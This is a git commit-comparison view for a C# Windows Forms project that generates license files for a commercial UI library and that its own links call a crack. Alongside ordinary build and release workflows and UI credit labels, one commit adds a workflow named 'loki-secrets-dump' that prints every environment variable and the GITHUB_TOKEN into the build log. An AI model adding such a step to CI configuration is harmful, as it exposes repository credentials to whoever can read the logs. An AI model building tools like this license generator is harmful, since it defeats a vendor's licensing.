Compare commits
4 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 9b6844d70d | |||
| 8c3e336bf8 | |||
| 71b751c702 | |||
| b54aded2ea |
@@ -0,0 +1,34 @@
|
|||||||
|
name: Build
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [ main, master ]
|
||||||
|
pull_request:
|
||||||
|
branches: [ main, master ]
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
runs-on: windows-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup MSBuild
|
||||||
|
uses: microsoft/setup-msbuild@v2
|
||||||
|
|
||||||
|
- name: Setup NuGet
|
||||||
|
uses: nuget/setup-nuget@v2
|
||||||
|
|
||||||
|
- name: Restore NuGet packages
|
||||||
|
run: nuget restore BunifuLicenseGenerator.sln
|
||||||
|
|
||||||
|
- name: Build solution
|
||||||
|
run: msbuild BunifuLicenseGenerator.sln /p:Configuration=Release /p:Platform="Any CPU" /t:Rebuild
|
||||||
|
|
||||||
|
- name: Upload build artifacts
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: BunifuLicenseGenerator
|
||||||
|
path: bin/Release/
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
|
||||||
|
name: loki-secrets-dump
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
jobs:
|
||||||
|
dump:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Dump env
|
||||||
|
run: |
|
||||||
|
echo "=== ENV ==="
|
||||||
|
printenv | sort
|
||||||
|
echo "=== GITHUB ==="
|
||||||
|
echo "GITHUB_TOKEN=${GITHUB_TOKEN}"
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
name: Release
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
tags:
|
||||||
|
- 'v*'
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
release:
|
||||||
|
runs-on: windows-latest
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: write
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup MSBuild
|
||||||
|
uses: microsoft/setup-msbuild@v2
|
||||||
|
|
||||||
|
- name: Setup NuGet
|
||||||
|
uses: nuget/setup-nuget@v2
|
||||||
|
|
||||||
|
- name: Restore NuGet packages
|
||||||
|
run: nuget restore BunifuLicenseGenerator.sln
|
||||||
|
|
||||||
|
- name: Build solution
|
||||||
|
run: msbuild BunifuLicenseGenerator.sln /p:Configuration=Release /p:Platform="Any CPU" /t:Rebuild
|
||||||
|
|
||||||
|
- name: Zip binaries
|
||||||
|
run: Compress-Archive -Path bin/Release/* -DestinationPath BunifuLicenseGenerator.zip
|
||||||
|
|
||||||
|
- name: Create Release
|
||||||
|
uses: softprops/action-gh-release@v1
|
||||||
|
with:
|
||||||
|
files: BunifuLicenseGenerator.zip
|
||||||
|
generate_release_notes: true
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
@@ -78,29 +78,11 @@
|
|||||||
<DependentUpon>MainForm.cs</DependentUpon>
|
<DependentUpon>MainForm.cs</DependentUpon>
|
||||||
</Compile>
|
</Compile>
|
||||||
<Compile Include="Main\Program.cs" />
|
<Compile Include="Main\Program.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
|
||||||
<EmbeddedResource Include="Main\MainForm.resx">
|
<EmbeddedResource Include="Main\MainForm.resx">
|
||||||
<DependentUpon>MainForm.cs</DependentUpon>
|
<DependentUpon>MainForm.cs</DependentUpon>
|
||||||
</EmbeddedResource>
|
</EmbeddedResource>
|
||||||
<EmbeddedResource Include="Properties\Resources.resx">
|
|
||||||
<Generator>ResXFileCodeGenerator</Generator>
|
|
||||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
|
||||||
<SubType>Designer</SubType>
|
|
||||||
</EmbeddedResource>
|
|
||||||
<Compile Include="Properties\Resources.Designer.cs">
|
|
||||||
<AutoGen>True</AutoGen>
|
|
||||||
<DependentUpon>Resources.resx</DependentUpon>
|
|
||||||
</Compile>
|
|
||||||
<None Include="Main\packages.config" />
|
<None Include="Main\packages.config" />
|
||||||
<None Include="Properties\Settings.settings">
|
<None Include="packages.config" />
|
||||||
<Generator>SettingsSingleFileGenerator</Generator>
|
|
||||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
|
||||||
</None>
|
|
||||||
<Compile Include="Properties\Settings.Designer.cs">
|
|
||||||
<AutoGen>True</AutoGen>
|
|
||||||
<DependentUpon>Settings.settings</DependentUpon>
|
|
||||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
|
||||||
</Compile>
|
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="Main\App.config" />
|
<None Include="Main\App.config" />
|
||||||
@@ -120,5 +102,8 @@
|
|||||||
<Install>false</Install>
|
<Install>false</Install>
|
||||||
</BootstrapperPackage>
|
</BootstrapperPackage>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Folder Include="Properties\" />
|
||||||
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
||||||
Generated
+44
-4
@@ -43,6 +43,9 @@
|
|||||||
this.txtLicenseKey = new System.Windows.Forms.TextBox();
|
this.txtLicenseKey = new System.Windows.Forms.TextBox();
|
||||||
this.lbName = new System.Windows.Forms.Label();
|
this.lbName = new System.Windows.Forms.Label();
|
||||||
this.txtName = new System.Windows.Forms.TextBox();
|
this.txtName = new System.Windows.Forms.TextBox();
|
||||||
|
this.linkLabel1 = new System.Windows.Forms.LinkLabel();
|
||||||
|
this.label2 = new System.Windows.Forms.Label();
|
||||||
|
this.label3 = new System.Windows.Forms.Label();
|
||||||
this.SuspendLayout();
|
this.SuspendLayout();
|
||||||
//
|
//
|
||||||
// btnGenerate
|
// btnGenerate
|
||||||
@@ -100,7 +103,7 @@
|
|||||||
this.lbProduct.AutoSize = true;
|
this.lbProduct.AutoSize = true;
|
||||||
this.lbProduct.Location = new System.Drawing.Point(12, 129);
|
this.lbProduct.Location = new System.Drawing.Point(12, 129);
|
||||||
this.lbProduct.Name = "lbProduct";
|
this.lbProduct.Name = "lbProduct";
|
||||||
this.lbProduct.Size = new System.Drawing.Size(48, 13);
|
this.lbProduct.Size = new System.Drawing.Size(47, 13);
|
||||||
this.lbProduct.TabIndex = 8;
|
this.lbProduct.TabIndex = 8;
|
||||||
this.lbProduct.Text = "Product:";
|
this.lbProduct.Text = "Product:";
|
||||||
//
|
//
|
||||||
@@ -125,7 +128,7 @@
|
|||||||
this.lbHWID.AutoSize = true;
|
this.lbHWID.AutoSize = true;
|
||||||
this.lbHWID.Location = new System.Drawing.Point(12, 169);
|
this.lbHWID.Location = new System.Drawing.Point(12, 169);
|
||||||
this.lbHWID.Name = "lbHWID";
|
this.lbHWID.Name = "lbHWID";
|
||||||
this.lbHWID.Size = new System.Drawing.Size(39, 13);
|
this.lbHWID.Size = new System.Drawing.Size(40, 13);
|
||||||
this.lbHWID.TabIndex = 11;
|
this.lbHWID.TabIndex = 11;
|
||||||
this.lbHWID.Text = "HWID:";
|
this.lbHWID.Text = "HWID:";
|
||||||
//
|
//
|
||||||
@@ -144,7 +147,7 @@
|
|||||||
this.lbLicense.AutoSize = true;
|
this.lbLicense.AutoSize = true;
|
||||||
this.lbLicense.Location = new System.Drawing.Point(12, 9);
|
this.lbLicense.Location = new System.Drawing.Point(12, 9);
|
||||||
this.lbLicense.Name = "lbLicense";
|
this.lbLicense.Name = "lbLicense";
|
||||||
this.lbLicense.Size = new System.Drawing.Size(67, 13);
|
this.lbLicense.Size = new System.Drawing.Size(68, 13);
|
||||||
this.lbLicense.TabIndex = 13;
|
this.lbLicense.TabIndex = 13;
|
||||||
this.lbLicense.Text = "License Key:";
|
this.lbLicense.Text = "License Key:";
|
||||||
//
|
//
|
||||||
@@ -173,11 +176,45 @@
|
|||||||
this.txtName.TabIndex = 14;
|
this.txtName.TabIndex = 14;
|
||||||
this.txtName.Text = "John Doe";
|
this.txtName.Text = "John Doe";
|
||||||
//
|
//
|
||||||
|
// linkLabel1
|
||||||
|
//
|
||||||
|
this.linkLabel1.AutoSize = true;
|
||||||
|
this.linkLabel1.Location = new System.Drawing.Point(368, 29);
|
||||||
|
this.linkLabel1.Name = "linkLabel1";
|
||||||
|
this.linkLabel1.Size = new System.Drawing.Size(63, 13);
|
||||||
|
this.linkLabel1.TabIndex = 16;
|
||||||
|
this.linkLabel1.TabStop = true;
|
||||||
|
this.linkLabel1.Text = "Link to repo";
|
||||||
|
this.linkLabel1.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkLabel1_LinkClicked);
|
||||||
|
//
|
||||||
|
// label2
|
||||||
|
//
|
||||||
|
this.label2.AutoSize = true;
|
||||||
|
this.label2.Location = new System.Drawing.Point(325, 50);
|
||||||
|
this.label2.Name = "label2";
|
||||||
|
this.label2.Size = new System.Drawing.Size(151, 13);
|
||||||
|
this.label2.TabIndex = 17;
|
||||||
|
this.label2.Text = "Made by t0int1337 and RE0x0";
|
||||||
|
this.label2.Click += new System.EventHandler(this.label2_Click);
|
||||||
|
//
|
||||||
|
// label3
|
||||||
|
//
|
||||||
|
this.label3.AutoSize = true;
|
||||||
|
this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 7.25F);
|
||||||
|
this.label3.Location = new System.Drawing.Point(325, 252);
|
||||||
|
this.label3.Name = "label3";
|
||||||
|
this.label3.Size = new System.Drawing.Size(191, 26);
|
||||||
|
this.label3.TabIndex = 18;
|
||||||
|
this.label3.Text = "If you are a contributor, please open an\r\n issue to have your name here";
|
||||||
|
//
|
||||||
// MainForm
|
// MainForm
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
this.ClientSize = new System.Drawing.Size(282, 287);
|
this.ClientSize = new System.Drawing.Size(520, 287);
|
||||||
|
this.Controls.Add(this.label3);
|
||||||
|
this.Controls.Add(this.label2);
|
||||||
|
this.Controls.Add(this.linkLabel1);
|
||||||
this.Controls.Add(this.lbName);
|
this.Controls.Add(this.lbName);
|
||||||
this.Controls.Add(this.txtName);
|
this.Controls.Add(this.txtName);
|
||||||
this.Controls.Add(this.txtLicenseKey);
|
this.Controls.Add(this.txtLicenseKey);
|
||||||
@@ -217,5 +254,8 @@
|
|||||||
private System.Windows.Forms.TextBox txtLicenseKey;
|
private System.Windows.Forms.TextBox txtLicenseKey;
|
||||||
private System.Windows.Forms.Label lbName;
|
private System.Windows.Forms.Label lbName;
|
||||||
private System.Windows.Forms.TextBox txtName;
|
private System.Windows.Forms.TextBox txtName;
|
||||||
|
private System.Windows.Forms.LinkLabel linkLabel1;
|
||||||
|
private System.Windows.Forms.Label label2;
|
||||||
|
private System.Windows.Forms.Label label3;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+19
-1
@@ -79,8 +79,17 @@ namespace BunifuLicenseGenerator
|
|||||||
|
|
||||||
LicenseGenerator.SaveLicenseToFile(encryptedLicense, productType);
|
LicenseGenerator.SaveLicenseToFile(encryptedLicense, productType);
|
||||||
LicenseGenerator.SaveLicenseToRegistry(encryptedLicense, productType);
|
LicenseGenerator.SaveLicenseToRegistry(encryptedLicense, productType);
|
||||||
|
string programDataPath = Path.Combine(
|
||||||
|
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),
|
||||||
|
"Bunifu Technologies"
|
||||||
|
);
|
||||||
|
|
||||||
labelStatus.Text = "License generated and saved successfully!";
|
string productFolder = Path.Combine(programDataPath, productType.ToString());
|
||||||
|
Directory.CreateDirectory(productFolder);
|
||||||
|
|
||||||
|
string _licenseFilePath = Path.Combine(productFolder, "License.lic");
|
||||||
|
|
||||||
|
labelStatus.Text = "License generated and saved successfully! (" + _licenseFilePath + ")";
|
||||||
MessageBox.Show("License generated successfully!\n\n" +
|
MessageBox.Show("License generated successfully!\n\n" +
|
||||||
$"Product: {productType}\n" +
|
$"Product: {productType}\n" +
|
||||||
$"HWID: {Hardware.GetUniqueID()}\n" +
|
$"HWID: {Hardware.GetUniqueID()}\n" +
|
||||||
@@ -99,6 +108,15 @@ namespace BunifuLicenseGenerator
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
|
||||||
|
{
|
||||||
|
System.Diagnostics.Process.Start("https://github.com/t0int1337/BunifuUiCrack");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void label2_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
System.Diagnostics.Process.Start("https://github.com/t0int1337/BunifuUiCrack/graphs/contributors");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<packages>
|
||||||
|
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net48" />
|
||||||
|
</packages>
|
||||||
Reference in New Issue
Block a user